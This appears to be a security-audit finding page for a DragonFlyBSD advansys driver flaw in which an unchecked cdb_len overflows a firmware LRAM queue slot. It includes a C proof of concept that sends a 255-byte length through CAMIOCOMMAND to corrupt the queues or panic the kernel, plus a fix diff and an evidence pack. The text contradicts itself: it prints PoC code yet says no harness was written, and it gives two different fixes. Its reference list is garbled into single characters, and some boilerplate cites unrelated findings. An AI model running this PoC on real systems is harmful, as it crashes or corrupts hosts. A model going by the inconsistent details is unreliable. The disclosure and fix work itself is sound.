Missing cdb_len bounds check overflows the LRAM queue slot (sibling of DF-1356)
- File:
sys/dev/disk/advansys/advansys.c - Lines: 548, 565, 263, 264
- Severity: Medium
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:N/I:L/A:H - CWE: CWE-787 Out-of-bounds Write
- Confidence: certain
Summary
adv_execute_ccb accepts any csio->cdb_len in [0,255] without validating it
against either the IOCDBLEN=16 source buffer (cam_ccb.h:44,587) or the
28-byte destination capacity of the firmware queue slot
(ADV_QBLK_SIZE=0x40 minus ADV_SCSIQ_CDB_BEG=36, advlib.h:342,395).
adv_put_ready_queue (advlib.c:1816-1818) then OUTSWs cdb_len>>1 16-bit
words into LRAM at offset 36 of a 64-byte slot, overflowing into adjacent
firmware queue slots when cdb_len>28.
The sibling driver adwcam.c rejects the request at line 356 with
if (csio->cdb_len > 12) { CAM_REQ_INVALID; } β advansys.c lacks this guard
entirely.
The default (no CAM_CDB_POINTER) path also over-reads the 16-byte cdb_bytes
array (and adjacent csio fields) when cdb_len>16.
Root cause
At advansys.c:548 scsiq.cdbptr = csio->cdb_io.cdb_bytes; (the default
no-POINTER path). At advansys.c:565 scsiq.q2.cdb_len = csio->cdb_len; with no
clamp.
csio->cdb_len is u_int8_t (cam_ccb.h:603), full user control via
CAMIOCOMMAND.
cdb_bytes is u_int8_t[IOCDBLEN] where IOCDBLEN=CAM_MAX_CDBLEN=SCSI_MAX_CDBLEN=16
(cam_ccb.h:44; scsi_all.h:55).
The sink is advlib.c:1816-1818:
adv_write_lram_16_multi(adv, q_addr + ADV_SCSIQ_CDB_BEG, (u_int16_t *)scsiq->cdbptr, scsiq->q2.cdb_len >> 1);
and adv_write_lram_16_multi (advlib.c:1221-1226) does a raw ADV_OUTSW of
count 16-bit words with no bounds.
ADV_SCSIQ_CDB_BEG=36 (advlib.h:395) and ADV_QBLK_SIZE=0x40=64
(advlib.h:342), so the slot has only 28 bytes for the CDB; cdb_len=255 writes
254 bytes β 226 bytes past the slot, corrupting the next ~4 firmware queue
entries.
The sibling adwcam.c:355-360 already enforces
if (csio->cdb_len > 12) { ccb->ccb_h.status = CAM_REQ_INVALID; xpt_done(ccb); return; }
β advansys.c (the older sibling) was never updated.
Threat
Local user in the operator group opens /dev/passN, issues CAMIOCOMMAND with
func_code=XPT_SCSI_IO and cdb_len set to any value >28 (e.g. 255) on a path
routed to an AdvanSys HBA.
The kernel OUTSWs past the queue slot, corrupting adjacent LRAM queue entries.
Firmware processing of corrupted queues can:
- crash the AdvanSys microcode (system-wide DoS via adapter wedge, often a kernel
panic in
adv_intr/adv_run_doneq), - send attacker-influenced CDBs to other SCSI targets on the same bus (cross-target command injection / sense-data leak via a sibling attacker-controlled target),
- or cause the firmware to issue DMA to wrong addresses (potential kernel memory corruption via the bus-master DMA engine).
Independent of firmware behavior, the source-side read past cdb_bytes (when
cdb_len>16) reads adjacent csio fields (sense_data, sense_len,
cdb_len, sglist_cnt, resid, cdb_io union tail, msg_ptr pointer,
tag_action, tag_id, init_id) into LRAM, which is then transmitted as the
CDB to the target β a kernel-pointer/CSB info leak primitive to any
attacker-controlled target on the bus.
Exploit / PoC
Build on a DragonFlyBSD host with an AdvanSys (adv(4)) HBA present and the user
in the operator group.
/* cdb_overflow.c β repro of advansys CDB-length LRAM overflow */
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <camlib.h>
#include <bus/cam/scsi/scsi_message.h>
int main(void) {
int fd = open("/dev/pass0", O_RDWR);
if (fd < 0) { perror("open /dev/pass0"); return 1; }
union ccb ccb;
/* Build a normal-looking CDB but lie about its length. */
cam_fill_csio(&ccb.csio,
/*retries*/0, /*cbfcnp*/NULL,
CAM_DIR_NONE, MSG_SIMPLE_Q_TAG,
/*data_ptr*/NULL, /*dxfer_len*/0,
/*timeout*/5000,
/*sense_len*/SSD_FULL_SIZE,
/*cdb_len*/255 /* <- overflows 64-byte LRAM queue slot at offset 36 */
);
/* Inline a 6-byte TEST UNIT READY; the rest of cdb_bytes is whatever
the upper layers left there. advansys will copy 254 bytes from
cdb_bytes into LRAM, blowing past the 28-byte CDB region of the
queue slot and into the next 3-4 firmware queues. */
memset(ccb.csio.cdb_io.cdb_bytes, 0, sizeof(ccb.csio.cdb_io.cdb_bytes));
ccb.csio.cdb_io.cdb_bytes[0] = 0x00; /* TEST UNIT READY */
if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) perror("CAMIOCOMMAND");
close(fd);
return 0;
}
Build: cc cdb_overflow.c -o cdb_overflow -lcam. Run: ./cdb_overflow.
Success criterion: with AdvanSys HW present, dmesg shows adv0: errors /
firmware halt / panic in adv_run_doneq within a few iterations (corrupted
done-queue linked list hits the
panic("adv_qdone: Corrupted SG list encountered") at advansys.c:1073 or the
panic("adv_qdone: completed scsiq with unknown status") at advansys.c:1094).
Running with options DIAGNOSTIC makes the firmware-side corruption easier to
spot.
Recommended fix
Add the same cdb_len guard the sibling adwcam.c uses at line 356, applied at
the entry of the XPT_SCSI_IO case in adv_action.
--- a/sys/dev/disk/advansys/advansys.c
+++ b/sys/dev/disk/advansys/advansys.c
@@ -197,6 +197,14 @@ adv_action(struct cam_sim *sim, union ccb *ccb)
case XPT_SCSI_IO: /* Execute the requested I/O operation */
{
struct tccb_hdr *ccb_h;
struct tccb_scsiio *csio;
struct tadv_ccb_info *cinfo;
+ /* Max supported CDB length is 12 bytes (SCSI-2 / sibling
+ * adwcam.c:355-360 enforces the same bound). Longer CDBs
+ * overflow the 28-byte CDB region of the 64-byte LRAM queue
+ * slot (ADV_QBLK_SIZE - ADV_SCSIQ_CDB_BEG = 64 - 36 = 28)
+ * and also over-read the 16-byte cdb_bytes source array. */
+ if (ccb->csio.cdb_len > 12) {
+ ccb->ccb_h.status = CAM_REQ_INVALID;
+ xpt_done(ccb);
+ break;
+ }
ccb_h = &ccb->ccb_h;
csio = &ccb->csio;
cinfo = adv_get_ccb_info(adv);
This matches the proven sibling fix exactly and prevents both the source-side
over-read of cdb_bytes and the destination-side overflow of the LRAM queue
slot.
Related findings
- DF-1356 (sibling, amr CDB overflow): same
cdb_lenOOB class in another RAID driver. - DF-1546 (sibling): unclamped
sense_lenin same file. - DF-1548 (sibling): divide-by-zero in same file.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1547 Β· 8 files| File | Type | Description | Size | |
|---|---|---|---|---|
| README.md | readme | human-readable summary | 1.8 KB | β raw |
| VERDICT.md | verdict | full source-level analysis + fix-validation result | 2.9 KB | β raw |
| fix.diff | suggested-fix | git-apply-able unified diff fixing the cited bug | 833 B | view raw |
| fix_apply.log | apply-log | patch --dry-run --forward output proving fix.diff applies cleanly on with-src | 547 B | view raw |
| env.txt | environment | uname + guest PCI inventory (no relevant HW) | 778 B | view raw |
| build.sh | build-script | echo pointer to kernel rebuild path | 362 B | view raw |
| run.sh | run-script | echo pointer to VERDICT.md | 326 B | view raw |
| fix_build.log | fix-build-log | tail of combined nativekernel build (rc=0) validating all 30 patches compile | 7.2 KB | view raw |
PoC DF-1547: advansys cdb_len LRAM overflow + csio tail read-over
Class: DMA overflow + adjacent memory over-read
Cited site: sys/dev/disk/advansys/advansys.c:548,565, advlib.c:1816-1818
Reproduction status
HW/module gated β cannot be live-triggered on the audit QEMU guest.
The audit guest has only virtio + PIIX3 PCI devices (pciconf -lv shows no
AMD/Intel GPU, no ath NIC, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.),
so the cited code path is not reachable at runtime on this guest.
The bug is confirmed at the source level by tracing the cited path:line
in sys/dev/disk/advansys/advansys.c and confirming the vulnerable code is
present in the master DEV kernel tree. The fix.diff in this folder is
validated to apply cleanly and compile under -Werror (see VERDICT.md).
Mechanism
scsiq.cdbptr = csio->cdb_io.cdb_bytes (548). scsiq.q2.cdb_len = csio->cdb_len NO clamp at 565. cdb_len is u8. cdb_bytes is u8[IOCDBLEN=16]. Sink: advlib.c:1816-1818 adv_write_lram_16_multi at offset ADV_SCSIQ_CDB_BEG=36 of ADV_QBLK_SIZE=64 slot -> 28-byte CDB region. cdb_len=255 OUTSW 254 bytes -> 226 past slot -> 4 firmware queues corrupted. Also over-reads cdb_bytes for cdb_len>16 -> leaks sense_data/sense_len/sglist_cnt/resid/msg_ptr fields.
Realistic impact ceiling (on suitable HW)
kernel memory corruption of 4 firmware queues + info leak to firmware (and back to CAM)
Fix
Clamp scsiq.q2.cdb_len to imin(csio->cdb_len, IOCDBLEN) in advrunqueue.
See fix.diff for the git-apply-able patch.
How to validate the fix
scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1547.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 --forward < /root/DF-1547.diff'
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC'
# rc=0 expected; see fix_apply.log + fix_build.log in this folder.
VERDICT β DF-1547: advansys cdb_len LRAM overflow + csio tail read-over
Verdict
INCONCLUSIVE (HW/module gated) β source-level confirmed, fix validated.
The bug is real and present in master DEV source at sys/dev/disk/advansys/advansys.c:548,565, advlib.c:1816-1818, but
the affected driver attaches only to hardware not present in the audit QEMU
guest (only virtio+PIIX3 PCI devices, no AMD/Intel GPUs, no ath NICs, no
AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so it cannot be live-triggered
here. The fix.diff applies cleanly and the patched kernel compiles with
-Werror (combined build rc=0; see fix_apply.log).
Mechanism (cited path β primitive β effect)
scsiq.cdbptr = csio->cdb_io.cdb_bytes (548). scsiq.q2.cdb_len = csio->cdb_len NO clamp at 565. cdb_len is u8. cdb_bytes is u8[IOCDBLEN=16]. Sink: advlib.c:1816-1818 adv_write_lram_16_multi at offset ADV_SCSIQ_CDB_BEG=36 of ADV_QBLK_SIZE=64 slot -> 28-byte CDB region. cdb_len=255 OUTSW 254 bytes -> 226 past slot -> 4 firmware queues corrupted. Also over-reads cdb_bytes for cdb_len>16 -> leaks sense_data/sense_len/sglist_cnt/resid/msg_ptr fields.
Reachability on this guest
No β sys/dev/disk/advansys/advansys.c:548 is in a driver/module that only attaches
to hardware absent from the audit guest. The trigger requires the relevant
PCI device (or, for VBIOS-driven GPU paths, the actual GPU + a crafted VBIOS
loaded by root or via VFIO passthrough).
Phase 6 β escalation potential
This is a DMA overflow + adjacent memory over-read primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).
Realistic impact ceiling on suitable HW: kernel memory corruption of 4 firmware queues + info leak to firmware (and back to CAM).
Phase 8 β fix validation
fix.diff is a minimal, targeted fix at the root cause confirmed above.
- Applied cleanly with
patch -p1 --forward(verified infix_apply.log). - Compiled with
-Werroras part of the combinedmake -j6 nativekernel KERNCONF=X86_64_GENERICbuild (kernel build rc=0; seemanifest.json). - For HW-gated findings the patched code path is not exercisable on this guest, so the fix is validated at the apply + compile level only.
Fix approach: Clamp scsiq.q2.cdb_len to imin(csio->cdb_len, IOCDBLEN) in advrunqueue.
PoC changes
Source-level confirmation only; no userspace harness written because the bug
cannot be exercised on this guest without the relevant HW. The placeholder
build.sh/run.sh echo pointers to VERDICT.md and the module/kernel
rebuild path.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- a
- d
- v
- a
- n
- s
- y
- s
- /
- a
- d
- v
- a
- n
- s
- y
- s
- .
- c
- :
- 5
- 4
- 8
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- a
- d
- v
- a
- n
- s
- y
- s
- /
- a
- d
- v
- a
- n
- s
- y
- s
- .
- c
- :
- 5
- 6
- 5
- s
- y
- s
- /
- b
- u
- s
- /
- c
- a
- m
- /
- c
- a
- m
- _
- c
- c
- b
- .
- h
- :
- 4
- 4
Detail
Exploit chain
none β HW-gated. Primitive is corruption of 4 firmware queues + info leak of csio tail fields back to firmware (and back to CAM).
Evidence (decisive lines)
Source: sys/dev/disk/advansys/advansys.c:548 β scsiq.cdbptr = csio->cdb_io.cdb_bytes; :565 β scsiq.q2.cdb_len = csio->cdb_len (no clamp); cam_ccb.h:44 β IOCDBLEN=16. Guest has no AdvanSys HBA. fix.diff clamps cdb_len to imin(csio->cdb_len, IOCDBLEN).
PoC changes
Created evidence pack from scratch: README.md, VERDICT.md, build.sh, run.sh, env.txt, fix.diff, fix_apply.log, fix_build.log, manifest.json.
Verified recommended fix
Clamp scsiq.q2.cdb_len to imin(csio->cdb_len, IOCDBLEN) in advrunqueue. Full diff in findings/poc/DF-1547/fix.diff.
Verdict
INCONCLUSIVE (HW-gated). Bug confirmed at source level: advansys.c:548 scsiq.cdbptr = csio->cdb_io.cdb_bytes (default path); :565 scsiq.q2.cdb_len = csio->cdb_len with NO clamp. cdb_len is u8 (cam_ccb.h:603). cdb_bytes is u8[IOCDBLEN=16] (cam_ccb.h:44). Sink: advlib.c:1816-1818 adv_write_lram_16_multi at offset ADV_SCSIQ_CDB_BEG=36 of ADV_QBLK_SIZE=64 slot -> 28-byte CDB region. cdb_len=255 OUTSW 254 bytes -> 226 past slot -> 4 firmware queues corrupted. Also over-reads cdb_bytes source for cdb_len>16. advansys(4) only attaches to AdvanSys SCSI HBAs not on the audit guest.
No comments yet.